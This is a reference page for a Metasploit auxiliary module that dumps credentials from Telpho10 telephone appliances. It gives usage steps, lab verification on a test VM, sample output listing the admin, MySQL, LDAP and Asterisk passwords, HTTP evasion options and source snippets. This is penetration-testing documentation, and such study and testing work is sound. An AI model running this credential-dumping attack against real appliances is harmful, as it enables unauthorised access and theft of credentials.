Telpho10 Backup Credentials Dumper - Metasploit
This page contains detailed information about how to use the auxiliary/admin/http/telpho10_credential_dump metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Telpho10 Backup Credentials Dumper
Module: auxiliary/admin/http/telpho10_credential_dump
Source code: modules/auxiliary/admin/http/telpho10_credential_dump.rb
Disclosure date: 2016-09-02
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module exploits a vulnerability present in all versions of Telpho10 telephone system appliance. This module generates a configuration backup of Telpho10, downloads the file and dumps the credentials for admin login, phpmyadmin, phpldapadmin, etc. This module has been successfully tested on the appliance versions 2.6.31 and 2.6.39.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/http/telpho10_credential_dump
msf auxiliary(telpho10_credential_dump) > show targets
... a list of targets ...
msf auxiliary(telpho10_credential_dump) > set TARGET target-id
msf auxiliary(telpho10_credential_dump) > show options
... show and set options ...
msf auxiliary(telpho10_credential_dump) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Telpho10 v2.6.31 (32-bit Linux ISO image download here).
Supporting documentation for this product can be found here.
Verification Steps
The following steps will allow you to install and dump the credentials from a Telpho10 instance:
- Download the Telpho10 ISO image and install in a VM (or on a system)
- note that the ISO will default to a German keyboard layout
- note that the ISO expects a SATA hard drive (not IDE/PATA) for installation
- configure the Telpho10's IP address
- edit /etc/networks/interfaces accordingly
- Start msfconsole
- Do:
use auxiliary/admin/http/telpho10_credential_dump
- Do:
set RHOST <IP address of your Telpho10 instance>
- Do:
run
- You should see a list of the retrieved Telpho10 credentials
Scenarios
Example output when using this against a Telpho10 v2.6.31 VM:
$ ./msfconsole
# cowsay++
____________
< metasploit >
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
=[ metasploit v4.12.36-dev-16fc6c1 ]
+ -- --=[ 1596 exploits - 908 auxiliary - 273 post ]
+ -- --=[ 458 payloads - 39 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf > use auxiliary/admin/http/telpho10_credential_dump
msf auxiliary(telpho10_credential_dump) > set RHOST 10.0.2.35
RHOST => 10.0.2.35
msf auxiliary(telpho10_credential_dump) > run
[*] Generating backup
[*] Downloading backup
[+] File saved in: /home/pbarry/.msf4/loot/20161028155202_default_10.0.2.35_telpho10.backup_185682.tar
[*] Dumping credentials
[*] Login (/telpho/login.php)
[*] -------------------------
[+] Username: admin
[+] Password: telpho
[*] MySQL (/phpmyadmin)
[*] -------------------
[+] Username: root
[+] Password: telpho
[*] LDAP (/phpldapadmin)
[*] --------------------
[+] Username: cn=admin,dc=localdomain
[+] Password: telpho
[*] Asterisk MI (port 5038)
[*] -----------------------
[+] Username: telpho
[+] Password: telpho
[*] Mail configuration
[*] ------------------
[+] Mailserver:
[+] Username:
[+] Password:
[+] Mail from:
[*] Online Backup
[*] -------------
[+] ID:
[+] Password:
[*] Auxiliary module execution completed
msf auxiliary(telpho10_credential_dump) >
I navigated my browser to the admin page of the UI and changed some of the password values, then ran the module again to verify I see the updated values:
msf auxiliary(telpho10_credential_dump) > run
[*] Generating backup
[*] Downloading backup
[+] File saved in: /home/pbarry/.msf4/loot/20161028161929_default_10.0.2.35_telpho10.backup_044262.tar
[*] Dumping credentials
[*] Login (/telpho/login.php)
[*] -------------------------
[+] Username: admin
[+] Password: s3cr3t
[*] MySQL (/phpmyadmin)
[*] -------------------
[+] Username: root
[+] Password: telpho
[*] LDAP (/phpldapadmin)
[*] --------------------
[+] Username: cn=admin,dc=localdomain
[+] Password: ldaps3cr3t
[*] Asterisk MI (port 5038)
[*] -----------------------
[+] Username: telpho
[+] Password: asterisks3cr3t
[*] Mail configuration
[*] ------------------
[+] Mailserver:
[+] Username:
[+] Password:
[+] Mail from:
[*] Online Backup
[*] -------------
[+] ID:
[+] Password:
[*] Auxiliary module execution completed
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Msfconsole Usage
Here is how the admin/http/telpho10_credential_dump auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/http/telpho10_credential_dump
msf6 auxiliary(admin/http/telpho10_credential_dump) > show info
Name: Telpho10 Backup Credentials Dumper
Module: auxiliary/admin/http/telpho10_credential_dump
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2016-09-02
Provided by:
Jan Rude
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Description:
This module exploits a vulnerability present in all versions of
Telpho10 telephone system appliance. This module generates a
configuration backup of Telpho10, downloads the file and dumps the
credentials for admin login, phpmyadmin, phpldapadmin, etc. This
module has been successfully tested on the appliance versions 2.6.31
and 2.6.39.
Module Options
This is a complete list of options available in the admin/http/telpho10_credential_dump auxiliary module:
msf6 auxiliary(admin/http/telpho10_credential_dump) > show options
Module options (auxiliary/admin/http/telpho10_credential_dump):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the admin/http/telpho10_credential_dump auxiliary module:
msf6 auxiliary(admin/http/telpho10_credential_dump) > show advanced
Module advanced options (auxiliary/admin/http/telpho10_credential_dump):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/http/telpho10_credential_dump module can do:
msf6 auxiliary(admin/http/telpho10_credential_dump) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/http/telpho10_credential_dump auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/http/telpho10_credential_dump) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Could not find vulnerable script. Aborting.
Here is a relevant code snippet related to the "Could not find vulnerable script. Aborting." error message:
101: })
102: if res && res.code == 200
103: print_status('Generating backup')
104: sleep(1)
105: else
106: print_error("Could not find vulnerable script. Aborting.")
107: return nil
108: end
109:
110: print_status('Downloading backup')
111: res = send_request_cgi({
0 bytes returned, file does not exist or is empty.
Here is a relevant code snippet related to the "0 bytes returned, file does not exist or is empty." error message:
112: 'uri' => '/telpho/temp/telpho10.epb',
113: 'method' => 'GET'
114: })
115: if res && res.code == 200
116: if res.body.to_s.bytesize == 0
117: print_error('0 bytes returned, file does not exist or is empty.')
118: return nil
119: end
120:
121: path = store_loot(
122: 'telpho10.backup',
Could not unpack files.
Here is a relevant code snippet related to the "Could not unpack files." error message:
129:
130: begin
131: extracted = untar("#{path}")
132: mysql = untar("#{extracted}/mysql.tar")
133: rescue
134: print_error('Could not unpack files.')
135: return nil
136: end
137: begin
138: print_status("Dumping credentials\n")
139: dump_creds("#{mysql}/mysql.epb")
Could not find credential file.
Here is a relevant code snippet related to the "Could not find credential file." error message:
136: end
137: begin
138: print_status("Dumping credentials\n")
139: dump_creds("#{mysql}/mysql.epb")
140: rescue
141: print_error('Could not find credential file.')
142: return nil
143: end
144: else
145: print_error('Failed to download backup file.')
146: return nil
Failed to download backup file.
Here is a relevant code snippet related to the "Failed to download backup file." error message:
140: rescue
141: print_error('Could not find credential file.')
142: return nil
143: end
144: else
145: print_error('Failed to download backup file.')
146: return nil
147: end
148: rescue ::Rex::ConnectionError
149: print_error("#{rhost}:#{rport} - Failed to connect")
150: return nil
<RHOST>:<RPORT> - Failed to connect
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Failed to connect" error message:
142: return nil
143: end
144: else
145: print_error('Failed to download backup file.')
146: return nil
147: end
148: rescue ::Rex::ConnectionError
149: print_error("#{rhost}:#{rport} - Failed to connect")
150: return nil
151: end
152: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #14034 Merged Pull Request: telpho10_credential_dump: Prevent traversal in untar
- #12354 Merged Pull Request: Remove targets from aux and post modules
- #10084 Merged Pull Request: Update telpho10_credential_dump.rb
- #9726 Merged Pull Request: Add Rex::Tar
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
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See Also
Check also the following modules related to this module:
- auxiliary/admin/backupexec/dump
- auxiliary/admin/http/scadabr_credential_dump
- auxiliary/admin/vxworks/wdbrpc_memory_dump
- auxiliary/gather/windows_secrets_dump
- auxiliary/scanner/http/binom3_login_config_pass_dump
- auxiliary/scanner/http/frontpage_credential_dump
- auxiliary/scanner/http/ms15_034_http_sys_memory_dump
- auxiliary/sqli/openemr/openemr_sqli_dump
- auxiliary/admin/misc/sercomm_dump_config
- auxiliary/scanner/http/epmp1000_dump_config
- auxiliary/scanner/http/epmp1000_dump_hashes
- auxiliary/scanner/ipmi/ipmi_dumphashes
- post/linux/gather/gnome_keyring_dump
- post/linux/gather/vcenter_secrets_dump
- post/windows/gather/avast_memory_dump
- post/windows/gather/credentials/thycotic_secretserver_dump
- post/windows/gather/dnscache_dump
- post/windows/gather/dumplinks
- post/windows/gather/memory_dump
- auxiliary/admin/scada/moxa_credentials_recovery
- auxiliary/scanner/http/oracle_demantra_database_credentials_leak
- auxiliary/gather/ldap_hashdump
- auxiliary/scanner/mssql/mssql_hashdump
- auxiliary/scanner/mssql/mssql_schemadump
- auxiliary/scanner/mysql/mysql_authbypass_hashdump
- auxiliary/scanner/mysql/mysql_hashdump
- auxiliary/scanner/mysql/mysql_schemadump
- auxiliary/scanner/oracle/oracle_hashdump
- auxiliary/scanner/postgres/postgres_hashdump
- auxiliary/scanner/postgres/postgres_schemadump
- auxiliary/scanner/smb/impacket/secretsdump
Authors
Jan Rude
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
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